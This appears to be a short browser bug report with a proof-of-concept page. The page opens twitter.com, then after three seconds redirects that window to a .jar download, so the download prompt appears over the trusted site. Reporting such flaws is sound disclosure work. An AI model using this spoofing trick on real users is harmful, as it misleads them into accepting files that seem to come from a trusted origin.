Cross-origin page stays focused before/after downloading + uninformative modal window for download

1. Open `twitter.com` using `window.open` 2. Wait some time (to finish page rendering) 3. Change location of the opened page to any downloading 4. Download modal appears above the `twitter.com`

<script>
  function f() {
    w = window.open(`https://twitter.com`);
    setTimeout(() => {
      w.location.replace('./hello.jar')
    }, 3000)
  }
</script>

<h1>
  <a href="#" onclick="f()">Twitter</a>
</h1>